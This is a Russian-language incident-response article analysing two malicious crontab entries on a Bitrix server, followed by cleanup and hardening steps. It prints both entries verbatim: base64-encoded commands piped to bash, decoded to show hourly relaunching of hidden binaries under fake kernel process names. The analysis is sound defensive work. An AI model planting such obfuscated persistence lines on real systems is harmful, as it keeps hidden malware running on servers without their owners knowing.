Вирусы в CRON Битрикс

Пример, первые две записи в вашем cron — это с очень высокой вероятностью запуск вредоносного ПО (вируса, майнера, бэкдора и т.д.).

 Давайте разберем их:


 Первая вредоносная запись:

**

# DO NOT REMOVE THIS LINE. SEED PRNG. #gs-dbus-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU2MDAgZ3MtZGJ1cyAyPi9kZXYvbnVsbCB8fCBTSEVMTD0vYmluL2Jhc2ggVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS9iaXRyaXgvLmNvbmZpZy9kYnVzL2dzLWRidXMuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdba2NhY2hlZF0nICcvaG9tZS9iaXRyaXgvLmNvbmZpZy9kYnVzL2dzLWRidXMnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng gs-dbus-kernel

- `echo L3V...Ao= | base64 -d | bash`: Это классический приём для сокрытия вредоносного кода. Длинная строка в base64 декодируется и результат передаётся на выполнение `bash`.

- `2>/dev/null`: Подавление вывода ошибок, чтобы скрыть активность.

- Комментарии `# DO NOT REMOVE THIS LINE. SEED PRNG. #gs-dbus-kernel` и `#1b5b324a50524e47 >/dev/random # seed prng gs-dbus-kernel`: Попытка замаскироваться под что-то системное или безобидное. `gs-dbus` или `dbus` — это легитимные компоненты системы, но здесь их имена используются для маскировки.


 Давайте декодируем команду:

echo "L3Vzci9iaW4vcGtpbGwgLTAgLVU2MDAgZ3MtZGJ1cyAyPi9kZXYvbnVsbCB8fCBTSEVMTD0vYmluL2Jhc2ggVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS9iaXRyaXgvLmNvbmZpZy9kYnVzL2dzLWRidXMuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdba2NhY2hlZF0nICcvaG9tZS9iaXRyaXgvLmNvbmZpZy9kYnVzL2dzLWRidXMnIiAyPi9kZXYvbnVsbAo=" | base64 -d

 Результат декодирования:

/usr/bin/pkill -0 -U600 gs-dbus 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/bitrix/.config/dbus/gs-dbus.dat -liQD" /usr/bin/bash -c "exec -a '[kcached]' '/home/bitrix/.config/dbus/gs-dbus'" 2>/dev/null

 Анализ:


- `pkill -0 -U600 gs-dbus 2>/dev/null`: Проверяет, запущен ли процесс с именем `gs-dbus` от пользователя с UID 600 (вероятно, это UID пользователя `bitrix`, нужно проверить командой `id bitrix`).

- `||`: Если процесс не запущен (или команда `pkill` завершилась с ошибкой), то выполняется следующая часть.

- `SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/bitrix/.config/dbus/gs-dbus.dat -liQD"`: Устанавливаются переменные окружения. `GS_ARGS` передает аргументы вредоносной программе, включая путь к конфигурационному/ключевому файлу `/home/bitrix/.config/dbus/gs-dbus.dat`.

- `/usr/bin/bash -c "exec -a '[kcached]' '/home/bitrix/.config/dbus/gs-dbus'" 2>/dev/null`: Запускает исполняемый файл `/home/bitrix/.config/dbus/gs-dbus`. Опция `exec -a '[kcached]'` — это трюк, чтобы замаскировать имя процесса. В выводе `ps aux` он будет отображаться как `[kcached]`, пытаясь выглядеть как легитимный процесс ядра.


 Вторая вредоносная запись:

# DO NOT REMOVE THIS LINE. SEED PRNG. #core-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVU2MDAgY29yZSAyPi9kZXYvbnVsbCB8fCAnL2hvbWUvYml0cml4Ly5jb25maWcvaHRvcC9jb3JlJyAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng core-kernel

 Аналогичная структура. Декодируем:

echo "L3Vzci9iaW4vcGtpbGwgLTAgLVU2MDAgY29yZSAyPi9kZXYvbnVsbCB8fCAnL2hvbWUvYml0cml4Ly5jb25maWcvaHRvcC9jb3JlJyAyPi9kZXYvbnVsbAo=" | base64 -d

 Результат декодирования:

/usr/bin/pkill -0 -U600 core 2>/dev/null || '/home/bitrix/.config/htop/core' 2>/dev/null

 Анализ:


- `pkill -0 -U600 core 2>/dev/null`: Проверяет, запущен ли процесс с именем `core` от пользователя с UID 600.

- `||`: Если нет, то...

- `'/home/bitrix/.config/htop/core' 2>/dev/null`: Запускает исполняемый файл `/home/bitrix/.config/htop/core`. Снова используется скрытая папка `.config` и имя `htop` (легитимная утилита мониторинга) для маскировки.


 Третья запись (потенциально легитимная, но требует проверки в контексте взлома):

0 7 * * * /usr/bin/php -d short_open_tag=on -d memory_limit=512M -d error_reporting=22519 -f /home/bitrix/www/bitrix/modules/webdebug.antirutin/cli/execute.php profile=1 external=y99lkeec4woajvd6vtojse305t0ou64o >> /home/bitrix/www/upload/webdebug.antirutin/log/log_001.2naag4kiy7fldy5ia3z1eb92ktzg8kld.log 2>&1

 Эта запись выглядит как стандартная задача для модуля Битрикс `webdebug.antirutin`. Однако, учитывая наличие двух вредоносных записей, стоит убедиться, что:


- Этот модуль действительно установлен вами и используется.

- Сам файл `/home/bitrix/www/bitrix/modules/webdebug.antirutin/cli/execute.php` не был модифицирован злоумышленниками.


 Что делать НЕМЕДЛЕННО:


-

	 Удалите первые две вредоносные строки из crontab.





	<li>Войдите на сервер под пользователем `bitrix` (или тем пользователем, в чьем crontab это найдено).

	- Выполните: `crontab -e`

	- Удалите две строки, которые мы идентифицировали как вредоносные. Сохраните изменения.

	- Если это было в системном crontab (`/etc/crontab` или файлы в `/etc/cron.d/`), отредактируйте их с правами root.

-

	 Найдите и удалите вредоносные файлы:





	<li>`/home/bitrix/.config/dbus/gs-dbus`

	- `/home/bitrix/.config/dbus/gs-dbus.dat`

	- `/home/bitrix/.config/htop/core` Будьте осторожны при удалении из скрытых папок, чтобы не удалить ничего лишнего, но эти файлы, судя по всему, являются частью вредоноса.

-

	 Убейте запущенные вредоносные процессы:





	<li>Используйте `ps aux | grep -E "\[kcached]|gs-dbus|htop/core"` или просто `ps aux | grep bitrix` и ищите процессы, запущенные из указанных выше путей или с подозрительными именами.

	- Запомните PID (Process ID) и убейте их: `sudo kill -9 <b>[PID_ПРОЦЕССА](/articles/bitriks-virtualnaya-mashina/kak-uznat-pid-protsessa/)**`. Возможно, придется убивать их несколько раз, если они перезапускаются друг другом (до удаления записей из cron). [PID_ПРОЦЕССА](https://eu-digital.ru/articles/bitriks-virtualnaya-mashina/kak-uznat-pid-protsessa/)

-

	 Проверьте систему на наличие других вредоносных активностей:





	<li>Проверьте другие crontab (root, других пользователей).

	- Проверьте `/tmp`, `/var/tmp` на наличие подозрительных исполняемых файлов.

	- Просмотрите логи авторизации (`/var/log/secure` или `/var/log/auth.log`) на предмет несанкционированных входов.

	- Проверьте сетевые соединения: `ss -tulnp | grep LISTEN` или `netstat -tulnp | grep LISTEN`. Ищите подозрительные слушающие порты.

-

	 Найдите причину взлома:





	<li>Слабые пароли (SSH, FTP, пароль пользователя `bitrix`, пароли к админке Битрикс).

	- Уязвимости в Битрикс или его модулях (убедитесь, что все обновлено до последних версий).

	- Уязвимости в ПО сервера (веб-сервер, PHP, ОС).

	- Компрометация через другие сайты на том же сервере.

-

	 Смените ВСЕ пароли после очистки системы.





-

	 Обновите все ПО до последних версий (ОС, веб-сервер, PHP, Битрикс и его модули).





-

	 Рассмотрите возможность установки антивируса для Linux (например, [**ClamAV**](/articles/bitriks-virtualnaya-mashina/ustanovka-clamav-na-centos-9/)) и сканера вредоносных программ (например, **Maldet - Linux Malware Detect**).





-

	 Проверьте целостность файлов Битрикс, если есть такая возможность (например, сравнив с чистой установкой или бэкапом).






 Это серьезный инцидент безопасности. Просто удалить вредоносные записи из cron недостаточно. Нужно провести полное расследование и устранить первопричину взлома, иначе система будет скомпрометирована снова. Если вы не уверены в своих силах, обратитесь к специалистам по кибербезопасности.